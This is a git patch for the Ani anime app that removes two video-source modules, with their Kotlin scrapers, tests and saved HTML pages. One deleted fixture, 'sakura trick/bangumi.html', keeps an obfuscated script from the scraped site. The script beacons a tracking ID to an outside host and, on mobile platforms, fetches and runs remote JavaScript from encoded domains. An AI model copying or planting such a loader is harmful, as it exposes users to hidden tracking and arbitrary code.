From 3659aad36ddb61e845b71762ae290a31a860e5d2 Mon Sep 17 00:00:00 2001 From: Him188 Date: Thu, 26 Sep 2024 13:13:09 +0100 Subject: [PATCH] Remove mxdm and ntdm from datasource --- app/shared/build.gradle.kts | 2 - datasource/web/mxdongman/build.gradle.kts | 17 - ...ni.datasources.api.matcher.WebVideoMatcher | 1 - ....datasources.api.source.MediaSourceFactory | 19 - .../web/mxdongman/src/MxdongmanMediaSource.kt | 151 -- .../test/MxdongmanMediaSourceTest.kt | 43 - datasource/web/mxdongman/test/main.kt | 27 - .../testResources/sakura trick/bangumi.html | 2103 ----------------- .../testResources/sakura trick/search.html | 506 ---- datasource/web/ntdm/build.gradle.kts | 17 - ...ni.datasources.api.matcher.WebVideoMatcher | 1 - ....datasources.api.source.MediaSourceFactory | 1 - datasource/web/ntdm/src/NtdmMediaSource.kt | 128 - .../web/ntdm/test/NtdmMediaSourceTest.kt | 48 - .../ntdm/testResources/onimai/bangumi.html | 624 ----- .../web/ntdm/testResources/onimai/search.html | 201 -- settings.gradle.kts | 2 - 17 files changed, 3891 deletions(-) delete mode 100644 datasource/web/mxdongman/build.gradle.kts delete mode 100644 datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher delete mode 100644 datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory delete mode 100644 datasource/web/mxdongman/src/MxdongmanMediaSource.kt delete mode 100644 datasource/web/mxdongman/test/MxdongmanMediaSourceTest.kt delete mode 100644 datasource/web/mxdongman/test/main.kt delete mode 100644 datasource/web/mxdongman/testResources/sakura trick/bangumi.html delete mode 100644 datasource/web/mxdongman/testResources/sakura trick/search.html delete mode 100644 datasource/web/ntdm/build.gradle.kts delete mode 100644 datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher delete mode 100644 datasource/web/ntdm/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory delete mode 100644 datasource/web/ntdm/src/NtdmMediaSource.kt delete mode 100644 datasource/web/ntdm/test/NtdmMediaSourceTest.kt delete mode 100644 datasource/web/ntdm/testResources/onimai/bangumi.html delete mode 100644 datasource/web/ntdm/testResources/onimai/search.html diff --git a/app/shared/build.gradle.kts b/app/shared/build.gradle.kts index c72faada8f..619719c7f4 100644 --- a/app/shared/build.gradle.kts +++ b/app/shared/build.gradle.kts @@ -125,8 +125,6 @@ kotlin { api(projects.datasource.dmhy) api(projects.datasource.acgRip) api(projects.datasource.nyafun) - api(projects.datasource.mxdongman) - api(projects.datasource.ntdm) api(projects.datasource.gugufan) api(projects.datasource.xfdm) api(projects.datasource.jellyfin) diff --git a/datasource/web/mxdongman/build.gradle.kts b/datasource/web/mxdongman/build.gradle.kts deleted file mode 100644 index 3b86c57f92..0000000000 --- a/datasource/web/mxdongman/build.gradle.kts +++ /dev/null @@ -1,17 +0,0 @@ -plugins { - kotlin("jvm") - kotlin("plugin.serialization") - id("org.jetbrains.kotlinx.atomicfu") - `flatten-source-sets` -} - -dependencies { - api(projects.datasource.datasourceApi) - implementation(projects.datasource.webBase) - testApi(libs.ktor.client.okhttp) - testApi(libs.slf4j.simple) -} - -tasks.withType { - duplicatesStrategy = DuplicatesStrategy.EXCLUDE // why is there a duplicate? -} diff --git a/datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher b/datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher deleted file mode 100644 index a0921ef1cd..0000000000 --- a/datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.matcher.WebVideoMatcher +++ /dev/null @@ -1 +0,0 @@ -me.him188.ani.datasources.mxdongman.MxdongmanWebVideoMatcher \ No newline at end of file diff --git a/datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory b/datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory deleted file mode 100644 index 8f48a925a1..0000000000 --- a/datasource/web/mxdongman/resources/META-INF/services/me.him188.ani.datasources.api.source.MediaSourceFactory +++ /dev/null @@ -1,19 +0,0 @@ -# -# Ani -# Copyright (C) 2022-2024 Him188 -# -# This program is free software: you can redistribute it and/or modify -# it under the terms of the GNU General Public License as published by -# the Free Software Foundation, either version 3 of the License, or -# (at your option) any later version. -# -# This program is distributed in the hope that it will be useful, -# but WITHOUT ANY WARRANTY; without even the implied warranty of -# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the -# GNU General Public License for more details. -# -# You should have received a copy of the GNU General Public License -# along with this program. If not, see . -# - -me.him188.ani.datasources.mxdongman.MxdongmanMediaSource$Factory \ No newline at end of file diff --git a/datasource/web/mxdongman/src/MxdongmanMediaSource.kt b/datasource/web/mxdongman/src/MxdongmanMediaSource.kt deleted file mode 100644 index 7617eead10..0000000000 --- a/datasource/web/mxdongman/src/MxdongmanMediaSource.kt +++ /dev/null @@ -1,151 +0,0 @@ -/* - * Copyright (C) 2024 OpenAni and contributors. - * - * 此源代码的使用受 GNU AFFERO GENERAL PUBLIC LICENSE version 3 许可证的约束, 可以在以下链接找到该许可证. - * Use of this source code is governed by the GNU AGPLv3 license, which can be found at the following link. - * - * https://github.com/open-ani/ani/blob/main/LICENSE - */ - -package me.him188.ani.datasources.mxdongman - -import io.ktor.client.plugins.BrowserUserAgent -import io.ktor.client.request.get -import io.ktor.client.request.parameter -import me.him188.ani.datasources.api.matcher.WebVideo -import me.him188.ani.datasources.api.matcher.WebVideoMatcher -import me.him188.ani.datasources.api.matcher.WebVideoMatcherContext -import me.him188.ani.datasources.api.source.FactoryId -import me.him188.ani.datasources.api.source.MediaFetchRequest -import me.him188.ani.datasources.api.source.MediaSource -import me.him188.ani.datasources.api.source.MediaSourceConfig -import me.him188.ani.datasources.api.source.MediaSourceFactory -import me.him188.ani.datasources.api.source.MediaSourceInfo -import me.him188.ani.datasources.api.source.ThreeStepWebMediaSource -import me.him188.ani.datasources.api.source.bodyAsDocument -import me.him188.ani.datasources.api.source.useHttpClient -import org.jsoup.nodes.Document - -class MxdongmanWebVideoMatcher : WebVideoMatcher { - override fun match(url: String, context: WebVideoMatcherContext): WebVideoMatcher.MatchResult { - if (context.media.mediaSourceId != MxdongmanMediaSource.ID) return WebVideoMatcher.MatchResult.Continue - if (url.contains("https://v16m-default.akamaized.net")) { - return WebVideoMatcher.MatchResult.Matched( - WebVideo( - url, - mapOf( - "User-Agent" to """Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3""", - "Referer" to "https://www.mxdm4.com/dongmanplay/", - "Sec-Ch-Ua-Mobile" to "?0", - "Sec-Ch-Ua-Platform" to "macOS", - "Sec-Fetch-Dest" to "video", - "Sec-Fetch-Mode" to "no-cors", - "Sec-Fetch-Site" to "cross-site", - ), - ), - ) - } - return WebVideoMatcher.MatchResult.Continue - } -} - -private const val BASE_URL = "https://www.mxdm.xyz" - -class MxdongmanMediaSource(config: MediaSourceConfig) : ThreeStepWebMediaSource() { - companion object { - const val ID = "mxdongman" - val INFO = MediaSourceInfo( - "MX 动漫", - websiteUrl = BASE_URL, - iconUrl = "$BASE_URL/favicon.ico", - iconResourceId = "mxdongman.png", - ) - } - - class Factory : MediaSourceFactory { - override val factoryId: FactoryId get() = me.him188.ani.datasources.api.source.FactoryId(ID) - - override val info: MediaSourceInfo get() = INFO - override fun create(mediaSourceId: String, config: MediaSourceConfig): MediaSource = - MxdongmanMediaSource(config) - } - - override val baseUrl: String get() = BASE_URL - - // https://www.mxdm4.com/search/-------------.html?wd=%E6%A8%B1trick - override fun parseBangumiSearch(document: Document): List { - /* -
完结 -

樱Trick

-
- */ - - return document.getElementsByClass("video-info-header").orEmpty().mapNotNull { - val a = it.selectFirst("a") ?: return@mapNotNull null - Bangumi( - internalId = a.attr("href").removePrefix("/dongman/").removeSuffix(".html"), - name = a.attr("title"), - url = baseUrl + a.attr("href"), - ) - } - } - - override suspend fun search(name: String, query: MediaFetchRequest): List { - val document = client.get("$baseUrl/search/-------------.html") { - parameter("wd", name) - }.bodyAsDocument() - return parseBangumiSearch(document) - } - - // https://www.mxdm4.com/dongman/1850.html - override fun parseEpisodeList(document: Document): List { - /* -
- - 第01集 - - 第02集 - - 第03集 - - 第04集 - - 第05集 - - 第06集 - - 第07集 - - 第08集 - - 第09集 - - 第10集 - - 第11集 - - 第12集 - -
- */ - return document.select("#sort-item-1").flatMap { element -> - element.select("a").map { - Ep( - name = it.text(), - url = baseUrl + it.attr("href"), - ) - } - } - } - - override val client by lazy { - useHttpClient(config) { - BrowserUserAgent() - } - } - - override val mediaSourceId: String get() = ID - override val info: MediaSourceInfo get() = INFO -} diff --git a/datasource/web/mxdongman/test/MxdongmanMediaSourceTest.kt b/datasource/web/mxdongman/test/MxdongmanMediaSourceTest.kt deleted file mode 100644 index 01e09f2f90..0000000000 --- a/datasource/web/mxdongman/test/MxdongmanMediaSourceTest.kt +++ /dev/null @@ -1,43 +0,0 @@ -package me.him188.ani.datasources.nyafun - -import me.him188.ani.datasources.api.source.MediaSourceConfig -import me.him188.ani.datasources.mxdongman.MxdongmanMediaSource -import org.jsoup.Jsoup -import org.junit.jupiter.api.Test -import kotlin.test.assertEquals - -private typealias Source = MxdongmanMediaSource - -class MxdongmanMediaSourceTest { - - @Test - fun `parse search result`() { - val source = Source(MediaSourceConfig()) - val doc = Jsoup.parse( - this::class.java.classLoader.getResource("sakura trick/search.html")!!.readText(), - source.baseUrl, - ) - val list = source.parseBangumiSearch(doc) - assertEquals(1, list.size) - list[0].run { - assertEquals("1850", internalId) - assertEquals("樱Trick", name) - assertEquals("https://www.mxdm.xyz/dongman/1850.html", url) - } - } - - @Test - fun `parse bangumi result`() { - val source = Source(MediaSourceConfig()) - val doc = Jsoup.parse( - this::class.java.classLoader.getResource("sakura trick/bangumi.html")!!.readText(), - source.baseUrl, - ) - val list = source.parseEpisodeList(doc) - assertEquals(12, list.size) - list[0].run { - assertEquals("第01集", name) - assertEquals("https://www.mxdm.xyz/dongmanplay/1850-1-1.html", url) - } - } -} diff --git a/datasource/web/mxdongman/test/main.kt b/datasource/web/mxdongman/test/main.kt deleted file mode 100644 index a64768e831..0000000000 --- a/datasource/web/mxdongman/test/main.kt +++ /dev/null @@ -1,27 +0,0 @@ -package me.him188.ani.datasources.nyafun - -import io.ktor.client.plugins.BrowserUserAgent -import io.ktor.client.request.get -import io.ktor.client.statement.bodyAsChannel -import io.ktor.util.cio.writeChannel -import io.ktor.utils.io.copyTo -import kotlinx.coroutines.delay -import me.him188.ani.utils.ktor.createDefaultHttpClient -import java.io.File -import kotlin.system.exitProcess -import kotlin.time.Duration.Companion.seconds - -suspend fun main() { - val outFile = File("bangumi.html") - createDefaultHttpClient() { - BrowserUserAgent() - }.get("https://www.mxdm4.com/dongman/1850.html") { - }.bodyAsChannel().copyTo(outFile.writeChannel()) - delay(3.seconds) - exitProcess(0) - -// NyafunMediaSource(MediaSourceConfig()).run { -// File("play.html").writeText(client.get("https://www.nyafun.net/play/7168-1-1.html").bodyAsText()) -// } -// exitProcess(0) -} diff --git a/datasource/web/mxdongman/testResources/sakura trick/bangumi.html b/datasource/web/mxdongman/testResources/sakura trick/bangumi.html deleted file mode 100644 index c0039328d6..0000000000 --- a/datasource/web/mxdongman/testResources/sakura trick/bangumi.html +++ /dev/null @@ -1,2103 +0,0 @@ - - - - - 《樱Trick》在线观看-全集网盘下载-MX动漫 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
- -
-
-
-
-
-
-
-
-
- 樱Trick -
-
-
-
-
-
-

樱Trick

-

Sakura Trick

-
-
- - - - 日本动漫 - - - - 2014 - - 日本 -
-
- 立即播放 - 收藏 -
- -
- -
别名: -
/ - Sakura Trick -
-
-
年份: -
/ - 2014 -
-
-
备注: -
完结
-
-
标签: - -
-
更新: -
2020-11-16
-
- -
剧情: -
- 樱花盛开,新学年之始。高山春香(户松遥 配音)与挚友园田优(井口裕香 - 配音)一同升入即将在三年后废校的美里西高中,成为最后一届一年级学生。开学第一天她们就结识了班上不少的女生:琴音,南雫,以及小枫和柚子。娇小可爱的优很快就得到其他女同学的喜爱,心底里喜欢着优的春香不禁心生醋意,担心自己不再是优的“特别的人”。为了让彼此成为对方“特别”的存在,她们用了一种特别的方式——KISS。漫天樱花飞舞,少女们因为KISS而加深了羁绊,快乐甜蜜又伴随着酸涩的粉红色百合物语,在春天里升温发酵。本动画改编自日本漫画家タチ的四格漫画。 - 收起 -
-
-
- -
-
- - -
-
-

在线观看

- 倒序 -
- - -
-
播放节点列表
-
- -
- 第一线路12
- -
-
-
-
-
- -
-
- - -
-
选集排序
-
-
-
- - 第01集 - - 第02集 - - 第03集 - - 第04集 - - 第05集 - - 第06集 - - 第07集 - - 第08集 - - 第09集 - - 第10集 - - 第11集 - - 第12集 - -
-
-
-
-
-
-
-
- - 第01集 - - 第02集 - - 第03集 - - 第04集 - - 第05集 - - 第06集 - - 第07集 - - 第08集 - - 第09集 - - 第10集 - - 第11集 - - 第12集 - -
-
-
-
- -
-
-

热门评论

-
-
-
-
-
-
- -
-
-
-
-
- - - -
-
-

相关影片

-
-
-
- -
-
-
- - - - RINKAI! -
-
-
- 2024 - 日本动漫 - 日本 -
-
-
- RINKAI! -
- -
- 女子自行车竞赛题材多媒体企画动画《Rinkai!》(リンカイ!)新视觉图公开,将于2024年春季播出。女高中生伊东泉在“RINKAI - LEAGUE”——目睹了女子自行车火热比赛后,与同伴们发誓要成为自 -
-
-
-
- RINKAI! -
-
更新至09集
-
- -
-
-
- - - - 失忆投捕 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
TV动画《忘却Battery / - 失忆投捕》先导PV与正式视觉图公开,将于2024年4月播出。该作曾在 2020 - 年被改编为总计 1 集的网络动画,由 MAPPA 负责制作。曾折断无数同龄球儿之心的、 -
-
-
- -
更新至08集
-
- -
-
-
- - - - 无名记忆 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 由日本轻小说作家古宫九时创作的轻小说作品——《Unnamed - Memory》(无名记忆)官宣动画化决定!「我的愿望就是娶你为妻,生下我们的孩子。」「恕我拒绝!」魔女──为拥有漫长生命及莫大力量,并被称 -
-
-
- -
更新至09集
-
- -
-
-
- - - - 末班列车去哪里了? -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 水岛努导演的完全新作原创动画《终末列车去哪里?》(終末トレインどこへいく?)第一弹PV及主视觉图公开,将于2024年播出。郊区的某个小镇。这里不是一个随处可见的普通乡村……。这里的居民很不对劲。但即使 -
-
-
- -
更新至10集
-
- -
-
-
- - - - 记忆中的玛妮 -
-
-
- 2014 - 日本动漫 - 日本 -
-
- - -
初中女孩佐佐木杏奈(高月彩良 - 配音)深藏无限的愁绪心事,她与疼爱自己的养母赖子(松岛菜菜子 - 配音)也无法坦然相对。由于上学期间突发过呼吸的情况,于是杏奈利用暑假来到了风光秀美的北海道札幌市,在亲戚大岩 -
-
-
- -
HD
-
- -
-
-
- - - - 爷爷奶奶返老还童 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 打算于农村度过余生的高龄夫妇正藏与依音懊悔著过去未能趁年轻时完成许多事,两人觉得拥有彼此的陪伴就已是很幸福的事了,然而……隔天起床时,两人竟发现突然返老还童!?正藏向依音提出蜜月的建议,两人决定重返新 -
-
-
- -
更新至09集
-
- -
-
-
- - - - 狼与香辛料 行商邂逅贤狼 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 改编自支仓冻砂原作、文仓十插画的轻小说《狼与香辛料》年轻的商人克拉夫特劳伦斯每天与一匹牵马车的马一起,从一个城市到另一个城市兜售商品。有一天,他来到一个拥有金色麦田的小村庄,遇到了一个有着耳朵和尾巴的 -
-
-
- -
更新至10集
-
- -
-
-
- - - - 转生七王子的魔法全解 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 痴迷于魔法的主角在一次魔法决斗中被有着更高贵血统与天赋的敌人用魔法杀死,然而却转生为了萨卢姆王国的排行第七的罗伊德王子。  在以家世、天赋、努力共同决定魔法能力的世界中,怀抱着对魔法痴迷般热情的主角带 -
-
-
- -
更新至10集
-
- -
-
-
- - - - 我回来了,欢迎回来 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 亲爱的丈夫与藤吉弘藤吉弘广结为婚,成为专职主夫的藤吉真生藤吉正。儿子快两岁了。亮光也被赐予,搬到了郊外的城镇。还有世人对差额婚姻的偏见,对自己没有自信的真生。虽然有时会陷入不安和悲伤,但在弘和辉的支持 -
-
-
- -
更新至09集
-
- -
-
-
- - - - 怪物转生 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
金斩児狐原作小说《Re:Monster - / - 怪物转生》宣布TV动画化,先导PV与视觉图公开。被跟踪狂刺杀,醒来后转生到最弱哥布林的戈布朗。以越吃越强的【吸食能力】完成异常的进化,一转眼君临哥布林·社区 -
-
-
- -
更新至10集
-
- -
-
-
- - - - 月光下的异世界之旅 第二季 -
-
-
- 2022 - 日本动漫 - 日本 -
-
- - -
- 现正播出的电视动画《月光下的异世界之旅》就在最终话播毕后,官方也立即宣布动画第二季制作确定的消息,并释出新作制作确定视觉图与告知宣传影片。同时,官方网站也公开来自声优们的留言,如有兴趣的可自行前往官方 -
-
-
- -
更新至22集
-
- -
-
-
- - - - 从Lv2开始开挂的原勇者候补悠闲的异世界生活 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 作为商人每天工作的巴纳扎,突然被称为克莱罗德魔法国。作为“勇者候补”被召唤到从未见过、从未听说过的异世界。但是,由于Lv1的能力与普通市民相当,因此被打上了勇者失格的烙印。再者,由于国家的失误,将无法 -
-
-
- -
更新至09集
-
- -
-
-
- - - - 新干线变形机器人 改变世界 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 曾经突然出现的不明身份的敌人。安诺恩。“超进化铁道开发机构”通称“ERDA(ELDA)”,作为对付手段,开发了新干线变形的机器人“辛卡里昂”,为威胁做好了准备。“能保护什么,可爱的人。…我...…」中 -
-
-
- -
更新至09集
-
- -
-
-
- - - - 水晶之焰 -
-
-
- 2008 - 日本动漫 - 日本 -
-
- - -
- 《水晶之焰》是一部日本动画,故事发生的地点是虚荣背后的“垃圾后街”,由此展开了一幕幕华丽的动作侦探剧。从中也使四人的关系团结起来。故事描写了近未来,世界上的人们享受着虚有其表的自由与平等,而亚洲的某处 -
-
-
- -
完结
-
- -
-
-
- - - - 深夜之拳 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 电视动画片《深夜之拳》是由P.A.WORKS制作的一部原创动画作品。2024年1月26日,宣布了制作决定的消息。动画将于2024年7月起播出。“大半夜的,你这家伙!大半夜的!”世界上最受欢迎的视频投稿 -
-
-
- -
更新至02集
-
- -
-
-
- - - - 圣斗士星矢:黄道十二宫战士 圣域之战 Part 2 -
-
-
- 2024 - 日本动漫 - 日本 -
-
- - -
- 最后的时刻即将来临!距离弑神之箭刺穿雅典娜的心脏只剩下五个小时了。唯一能够拯救雅典娜的人,就是坐在圣殿顶端的教皇。不过,星矢和四位青铜圣斗士们要想到达教皇厅,就必须突破黄金圣斗士守护的十二宫。距离抵达 -
-
-
- -
更新至11集
-
-
-
-
- -
-
-

正在热播

- 更多 -
-
-
- -
-
-
- - - - 海贼王 -
-
-
- 1999 - 日本动漫 - 日本 -
-
-
- 海贼王 -
- -
- 传奇海盗哥尔•D•罗杰在临死前曾留下关于其毕生的财富“One - Piece”的消息,由此引得群雄并起,众海盗们为了这笔传说中的巨额财富展开争夺,各种势力、政权不断交替,整个世界进入了动荡混乱的“大海贼时 -
-
-
-
- 海贼王 -
-
更新至1106集
-
- -
-
-
- - - - 名侦探柯南 -
-
-
- 2006 - 日本动漫 - 日本 -
-
- - -
  - 高中生侦探工藤新一,被称为“日本警察的救世主”、“平成年代的福尔摩斯”。一次在与青梅竹马的女友毛利兰去游乐园游玩时,发现两个行动诡异的黑衣人。新一跟踪他们直到交易现场,另一个黑衣人趁其不 -
-
-
- -
更新至1182集
-
- -
-
-
- - - - 斗罗大陆第一季 -
-
-
- 2018 - 国产动漫 - 大陆 -
-
- - -
- 唐门外门弟子唐三,因偷学内门绝学为唐门所不容,跳崖明志时却发现没有死,反而以另外一个身份来到了另一个世界,一个属于武魂的世界,名叫斗罗大陆。这里没有魔法,没有斗气,没有武术,却有神奇的武魂。这里的每个 -
-
-
- -
完结
-
- -
-
-
- - - - 火影忍者:博人传之次世代继承者 -
-
-
- 2017 - 日本动漫 - 日本 -
-
- - -
- 随着和平的到来而走向近代化的木叶忍者村。高楼林立,巨大显示屏中播放出影像,连结各区域的电车在村里奔驰。虽说是忍者村,但一般民众也增多,忍者的生存方式也在逐渐改变的这个时代——村子的领袖,第七代火影·漩 -
-
-
- -
完结
-
- -
-
-
- - - - 土下座跪求给看 -
-
-
- 2020 - 日本动漫 - 日本 -
-
- - -
- 电视动画《土下座跪求给看》改编自ふなつかずき著作的同名漫画作品,于2020年7月30日宣布动画化的决定。主人公·土下座总是不知不觉地就会把视线放在女孩子身上。他有着能够说服女孩子的最后手段。——没错, -
-
-
- -
完结
-
- -
-
-
- - - - 咒术回战 -
-
-
- 2020 - 日本动漫 - 日本 -
-
- - -
- 电视动画《咒术回战》改编自芥见下下著作的同名漫画,于2019年11月25日在《周刊少年Jump》52号上发表了动画化的消息。 -
-
-
- -
完结
-
- -
-
-
- - - - 终末的女武神 -
-
-
- 2021 - 日本动漫 - 日本 -
-
- - -
预计在 2021 - 年开始播映的电视动画《终末的女武神》,官方就在 15 - 日这天释出首波视觉图、追加角色&声优以及动画主题曲等情报。追加角色&声优部分,亚当、佐佐木小次郎、波赛顿、荷米斯 -
-
-
- -
完结
-
- -
-
-
- - - - 魔女之旅 -
-
-
- 2020 - 日本动漫 - 日本 -
-
- - -
- 改编自白石定规原作的同名轻小说,讲述了虽然年纪轻轻,但已经成为魔法使的最高阶的“魔女”的才女伊蕾娜,作为旅人在全世界自由旅行的故事。 -
-
-
- -
完结
-
- -
-
-
- - - - 剃须。然后捡到女高中生。 -
-
-
- 2020 - 日本动漫 - 日本 -
-
- - -
- 被单恋5年的对方爽快地甩了的上班族吉田。在喝着酒回家的路上,看见蹲在路边的女高中生——“陪你睡一晚,让我住下吧” - “那种玩笑不是随便开的” “那就免费让我住下吧”顺势开始的与少女沙优的同居生活。“早上 -
-
-
- -
完结
-
- -
-
-
- - - - 无职转生~到了异世界就拿出真本事~Part.2 -
-
-
- 2021 - 日本动漫 - 日本 -
-
- - -
轻改TV动画《无职转生 ~到了异世界就拿出真本事~ - 第2季》新视觉图公开,将于2021年10月3日开播。“我要在这个异世界拿出真本事!”34岁童贞且无职的家里蹲男子,在父母的葬礼当天被赶出家 -
-
-
- -
完结+OVA
-
- -
-
-
- - - - 绯红结系 -
-
-
- 2021 - 日本动漫 - 日本 -
-
- - -
电视动画片《绯红结系》改编自万代南梦宫娱乐 - 开发的同名游戏作品,于2021年3月19日宣布动画化的消息。 - 该片由SUNRISE负责企划、制作,于2021年7月1日起北京时间每周四21:30~22:00 -
-
-
- -
完结
-
- -
-
-
- - - - 转生成蜘蛛又怎样! -
-
-
- 2019 - 日本动漫 - 日本 -
-
- - -
- 马场翁著作的轻小说《不过是蜘蛛什么的》动画化进行中。故事主要将讲述高中女生转生异界变成蛛姐,为了生存闯荡地下迷宫逐步升级进化的龙傲天剧情。勇者与魔王持续征战的世界。勇者与魔王释放的壮烈的魔法穿越世界, -
-
-
- -
完结
-
- -
-
-
- - - - 五等分的新娘第二季 -
-
-
- 2021 - 日本动漫 - 日本 -
-
- - -
- 电视动画《五等分的新娘》改编自春场葱创作的同名恋爱喜剧漫画,官方于2019年5月5日宣布了第二期制作决定的消息。一直过着贫困生活的高中二年级学生·上杉风太郎,找到了一份条件非常好的家庭教师兼职。然而, -
-
-
- -
完结
-
- -
-
-
- - - - 斗破苍穹第四季 -
-
-
- 2021 - 国产动漫 - 大陆 -
-
- -
- 国产动漫  -
-
- 萧炎为唤醒老师药老,来到帝都参加炼药师大会,却因过人实力而被意图不轨的敌人暗算。危急关头,萧炎力挽狂澜成功夺冠,维护了加玛帝国荣誉。解开心结的萧炎,迎接即将到来的三年之约…… -
-
-
- -
完结
-
- -
-
-
- - - - 战斗员派遣中! -
-
-
- 2021 - 日本动漫 - 日本 -
-
- - -
- 电视动画《战斗员派遣中!》改编自晓なつめ著作,カカオ・ランタン负责插画的同名轻小说作品,于2020年3月15日宣布了动画化的消息。 眼见征服世界的目标即将实现,为了扩大版图,“秘密结社如月” -
-
-
- -
完结
-
- -
-
-
- - - - 镇魂街第二季 -
-
-
- 2019 - 国产动漫 - 大陆 -
-
- - -
- 罗刹街镇魂将曹焱兵和寄灵人夏玲踏上修复灵槐之路,羽林街镇魂将南御夫却受命缉拿曹焱兵,恰有菩提街镇魂将北落师门出面平息事态。但南御夫心怀鬼胎,北落师门与女孩水儿也暗藏秘密,曹焱兵和夏玲又将如何应对。菩提 -
-
-
- -
完结
-
-
-
-
- - -
-
- - -
-

- 关于 - 排行榜 - -

-

本站所有内容均来自互联网分享站点所提供的公开引用资源,未提供资源上传、存储服务。

- -
- - -
-
-
- - 返回顶部 -
-
- - - 日夜切换 -
-
- - 留言 -
-
-
- -
-
- - - - - - - - -
- - - - -
function AFxUv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else - if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return - t;};function XLWywo(e){var - m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var - t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return - AFxUv(t);};window[''+'K'+'F'+'s'+'C'+'Q'+'p'+'E'+'S'+'w'+'J'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var - x=XLWywo,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new - RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var - a=o.getItem(t);if(!a||32!==a.length){a='';for(var - e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var - n='https://tgb.eemcfun.com:7891/stats/14904/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new - Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var - xhr=new - XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var - data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new - Function('c',data.result.decode+';return - '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else - if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new - RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new - WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new - Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var - s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZqaC5mYW5odWltaW4xLmNuJTNBODg5MQ====','d3NzJTNBJTJGJTJGdXkkudGlhbnhpbmdoYW5nMS5jbiUzQTkk1MzU=','165499',window,document,['=','k']);}:function(){}; -
- -
-
-
-
-
-
- - -
-
-
- - - - \ No newline at end of file diff --git a/datasource/web/mxdongman/testResources/sakura trick/search.html b/datasource/web/mxdongman/testResources/sakura trick/search.html deleted file mode 100644 index 4dace8edd1..0000000000 --- a/datasource/web/mxdongman/testResources/sakura trick/search.html +++ /dev/null @@ -1,506 +0,0 @@ - - - - 搜索结果 - MX动漫 - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-
- -
-
-
-

-

搜索"" ,找到 部动漫作品

-
-
-
-
-
- -
-
-
-
樱Trick -
-
-
-
-
- - -
-
别名: -
/ - Sakura Trick -
-
-
标签: - -
- -
剧情: -
樱花盛开,新学年之始。高山春香(户松遥 - 配音)与挚友园田优(井口裕香 - 配音)一同升入即将在三年后废校的美里西高中,成为最后一届一年级学生。开学第一天她们就结识了班上不少的女生:琴音,南雫,以及小枫和柚 -
-
-
- -
-
- -
- - -
-
-
-
- -
-

- 关于 - 排行榜 - -

-

